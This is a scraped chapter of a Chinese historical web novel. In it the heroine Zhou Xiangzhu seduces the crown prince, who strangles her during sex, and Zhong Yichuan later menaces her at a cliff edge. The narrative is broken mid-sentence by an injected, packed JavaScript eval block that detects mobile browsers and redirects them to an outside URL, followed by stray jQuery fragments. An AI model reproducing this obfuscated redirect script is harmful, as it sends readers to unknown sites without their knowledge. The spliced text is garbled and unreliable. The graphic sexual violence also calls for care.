默认冷灰
24号文字
方正启体

46. 第 46 章

作者:咸鱼三百条本书字数:K更新时间:
    虽然已经是阳春三月,但深山仍旧透着寒气,尤其是昨夜刚下了雨,乱石与松针带着潮湿的水汽的色彩变得更加深沉,苍翠幽深的山间腾起一片白茫茫的雾气,环绕在山腰山头。


    刚苏醒的春山就如美人犹抱琵琶半遮面,美的朦胧。


    周向烛衣着轻薄,裹在一床棉被上坐着,青石后面,如一枚张开柔软舌唇的牡蛎。


    她不知等了多久,被子被山间潮湿的露水浸染变得沉重,裸露在外面的脚踝冻的发红,她终于听见石头那边传来沈穆庭的声音。


    她忽觉得格外冷,不禁瑟瑟发抖。


    周向烛已将沈穆庭的声音牢牢记在心里。


    市井传言中的太子儒雅随和,上次所见却是完全相反。


    上一秒还把她抱在怀里,癫狂的啃噬她的肩膀,下一秒就把她掀翻在地上,提起裤子蔑视她,高高在上的点评:“雏儿就是这点不好,不动情趣。”


    “云起,你说带我来此处寻春,这春在何处?”


    周向烛听见沈穆庭的声音时忽觉得冷,自骨子里透出来的森冷,让她控制不住的发抖。


    自上次‘梦里香’一别,周向烛再没见到沈穆庭,周向烛知道这次机会千载难逢。


    为了叫家里那些人高看自己,周向烛一掐大腿,从山后露出半个身子。


    “太子殿下……”


    “太子,我就是你的春色啊。”


    接下来发生的事都是那么的理所应当。


    只是在太子摁着她时,周向烛忽而不合时宜的想起那个替她擦膏药的温和男子。


    心中忽而针扎的一般痛。


    她睁眼看见的是苍翠的天地间,沈穆庭那张面无表情的脸忽近忽远。


    那个一别再也没见的温柔男子却不知是否还有机会相见。


    山间的风是那样冷,身下的褥子被潮湿的寒气浸透,她身上的衣物轻薄犹如无物,人就像刍狗般被摁在身下。


    周向烛睁大着眼睛,一滴泪从眼角溢出,忽看见沈穆庭的脸。


    周向烛神色一转,学那艺妓教她的,仰起脆弱的脖子,似喜似悲地拖长尾调发出一阵哼叫声。


    这颤巍巍的声音忽被他卡住咽喉。


    这并不是床笫间的玩闹,沈穆庭掐得很用力。


    周向烛的舌头被挤压出来,眼珠暴起,指甲因恐慌掐进沈穆庭的肉里。


    沈穆庭始终板着的脸上终于显露出一点情绪,他骑着周向烛就像在骑头牲畜,手死死掐着她的脖子。


    在她濒死的挣扎中尝到欢愉。


    薄情的嘴角往上扬。


    沈穆庭穿好衣物,低头看着趴在地上呛咳的美人。


    “本宫是不是见过你?”


    他纡尊降贵地蹲下身子,捏起周向烛的下巴。


    周向烛兔子般温顺,含羞带怯般偷偷拿眼睛快速扫了太子一眼。


    “小女周向烛。”


    “想起来了,周忠的侄女。”


    周向烛一喜,抬头去看他。


    对上一双黑洞般的瞳孔,仿佛能把世间万物都吸进去。


    心中刚升起的一点希望猝然被浇灭。


    沈穆庭起身走了。


    周向烛抱着自己胳膊,听他的脚步越来越远,直至消失不见。


    许久,她才放下已经僵硬在脸上的讨好笑容,挎着呆滞的脸怔怔看着料峭山崖。


    好一会儿,石壁那边传来另一个人的脚步声。


    钟易川站在另一边,递过来一包衣物。


    听见石头另一边的声音,似要离开。


    周向烛忽然从后面跑出来拉住他的手。


    喉咙火辣辣的疼,周向烛压抑着泣不成声的语调,颤抖着声音:“太子会娶我吗?”


    钟易川抽回手:“你可以祈祷自己运气足够好。”


    “那你呢?”这句话难以启齿,周向烛咬咬牙还是问出口“你还会娶我吗?”


    钟易川没有说话。


    周向烛心底生出一股期翼,如救命稻草般看着他。


    钟易川转过身子,起先是不动声色,直视她的眼睛:“我最近发现一件有趣的事情。”


    他微偏着头,嘴角挂着若有似无的笑,眼底却是黑沉沉的波涛在翻滚,敛目再抬眼,将周向烛从头至脚扫了一遍。


    他明明没有胁迫的动作,周向烛却一下子回到那个被他掐着手腕的小巷,骇人的杀意从他身上溢出来。


    周向烛骤然清醒,从自悲自怜的情绪中走出来,往后踉跄一步。


    “我很奇怪,人为什么那样多变?”钟易川皱着眉毛,嘴边却在笑,眼里冰凉升腾着无处发泄的恼怒,像从地狱里爬出来的鬼魅。


    一头长的美丽,让人忘记恐怖的恶鬼。


    他抬步走来,周向烛往后退。


    “我翻看了很多书,所谓正经不正经的东西我都看了,可我还是搞不懂……”


    周向烛的脚跟踢到石壁,她退无可退,整个人靠在石头上,钟易川跻身紧逼。


    “你说?人为什么这么多变?”


    他逼视着周向烛,将她逼到悬崖边上,再退一步就要掉下去。


    如果这时候掉下去,周家连她的尸首都不会来找。


    山风自峡谷里穿进来,吹上她发懵的脑子。


    周向烛浑身战栗,惊惧的瞪着他:“我除了嫁人,别无出路!你说过的,你会帮我,如今我破了身子,若没……啊!”


    钟易川忽然推了她一把,又把她一把拽回来,相冲的两道力道将她狠狠掷在地上。


    “我会帮你。”钟易川站在她方才站着的悬崖边上,耸耸肩,肆虐的风把他的发丝与衣袍一块卷起。


    他的嘴角永远挂着笑,眼里却没有一点笑:“至于娶你,你不是已经拒绝我了。”


    这双漂亮的眼睛在周向烛的脑海里一闪而过,倏而想起钟易川是那个一直被关在门后的小孩儿。


    他一直被关在门后面,周向烛没将他与广姓盐商家的‘神童野种’联想到一处去,今日见他这双瞳孔忽然想起被众人簇拥着,捏脸捏手当个玩意儿打趣儿的瓷娃娃原来是眼前这个少年。


    数年间物是人非,从前那个宛若被抽去灵魂,任人摆弄的漂亮瓷娃娃,变成了现在的样子。


    周向烛骤然想通了前因后果,瞪大眼睛看钟易川的背影消失不见。


    呆愣好一会儿,她迈动沉重的腿脚下山回去。


    周向烛摸着后门进了斋房,替她守在屋里的小侍女绿蕊早急得如热锅上的蚂蚁,看她披头散发的模样更是吓得魂飞魄散:“姑……”


    “别废话,赶紧为我梳头。”她把怀里的发饰等物件倒在桌上。


    绿蕊在一堆杂物里翻出一把桃木梳,恨不得手脚为她变个完整的发髻出来。


    “好在今早出门时姑娘叫我梳了个简单的样式……原来姑娘老早就准备去……”她说话猛的顿住,眼睛迸发出亮光,也不顾梳头了,凑到周向烛的耳边悄声说“去见那位公子了?”


    周向烛在山上受了凉,换了衣裳后一路跑着躲着从山上的小道跑下来,先下又浑身发热,额上起了一层细密的汗珠,盯着一处愣怔出神。


    绿蕊忽然凑过来,温热的呼吸激地她浑身一颤,不由怒斥一句:“快闭嘴!”


    说罢惊觉动静太大,神经质地往门窗处看一眼,抬起手去擦额上的汗珠,将胳膊抬至眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15163144|160711||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    下,发觉两只手抖如筛糠。


    她忙把手摁下去,缩在袖管里不敢再露出来。


    绿蕊也看见了,也不敢再多问,手脚麻利地梳了个简单椎髻,又为她整理好身上的衣物,将油光水亮的发尾放至背后。


    梳好后再看周向烛,她仍坐在板凳上不动,眼睛发直地看着面前一块青石板砖,将手缩在袖子里扣手指头,听声音定又扣劈裂了去。


    绿蕊半蹲到她身前:“姑娘?”


    自进门已经过了小半刻钟,周向烛的呼吸依旧不平稳,她发直的眼睛看向绿蕊,略略找回片刻神思。


    忽捂着脸哭起来。


    看她两手的指甲盖,果然被扣得乱七八糟,左手的食指指甲盖已经被扣出了血。


    “绿蕊,我嫁不出去怎么办?”周向烛捂着脸,眼泪顺着腮帮子往下砸“我都二十一了,家里与我一般大的妹妹都生了两个娃娃,我还没嫁出去。”


    绿蕊自进府就跟着她,是一块长大的,比她小一岁。


    她张嘴,又闭上,用掌心在她肩上轻轻拍两下,有气无力道:“还早呢,二十三四岁才是老姑娘,姑娘莫浑说。”


    实则绿蕊老家早在三年前就为她说了一门亲。


    老爷夫人的接连病逝,周向烛因丁忧熬到二十岁。


    好容易熬过去,周家伯母给她说过几门亲,可惜她家姑娘眼高手低,迟迟没嫁人,每次相看不是嫌人丑了就嫌人家里没银子。她一个丫鬟不敢越过了主子去,也跟着拖,那人家在去年已经娶了别家姑娘。


    但绿蕊不能说。


    周向烛捂着脸尤自哭个不止,绿蕊忽听身后有人敲门,她转头看门外又几个人影。


    是一同来的妈妈们:“向烛姑娘,起了么?”


    细听外面还有女孩儿们叽叽喳喳的说话声。


    想是其他几个姑娘都已收拾好,预备打道回府了。


    “诶!”绿蕊提高嗓音“好了,就出来!”


    忽视门外大房里的姑娘故意说的:“就她墨迹。”


    “就是,做什么都慢。”


    冷嘲热讽的笑话,绿蕊轻声到周向烛耳边劝慰:“姑娘快别哭了吧,玉炽姑娘她们在外面等着呢,你快将妆面补补,我把屋里收拾收拾。”


    “快将我脖子上也敷一层粉!”周向烛仰头,方才没注意,她脖子浮起一层青红交加的指印。


    绿蕊倒抽一口气,惊疑不定地看着她。


    被周向烛瞪了一眼,忙给她敷粉。


    门被拉开。


    绿蕊胳膊上挂着个包袱拉开门,先让周向烛出去了,跟在她身后下了台阶,陪笑道:“叫姑娘们等急了。”


    周玉炽,也就是周向烛大伯家的小女,“哼,”一声,拿眼角的余光扫一眼低着头走路的周向烛:“瞧你那小家子气的模样,不过是晌午开了句玩笑话,就哭成这个样子。”


    绿蕊看去,果见周向烛双眼还红着。


    她忙捏着手帕,轻沾周向烛的眼下,又回头对周玉炽说:“炽姑娘莫误会了,我家姑娘是……”


    周向烛挥开了她:“妹妹惯会说玩笑的,我这是想起了父母,心里头难过。”她苦笑一声,低下头去。


    周玉炽看她这样好拿捏的软柿子样,也没有了兴致,咒骂一声:“晦气。”


    转身上了马车。


    周向烛要去她来时那辆马车。


    一旁老婆子忙上前将周向烛往后一拽,直拽的她险些跌倒,幸亏绿蕊在一旁扶了一把。


    “诶呀,烛姑娘跟小孩子家家计较什么。”老婆子笑呵呵的插科打诨“这天儿也不早了,我们快些回去吧!”


    说着还要来强扶着她上马车。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)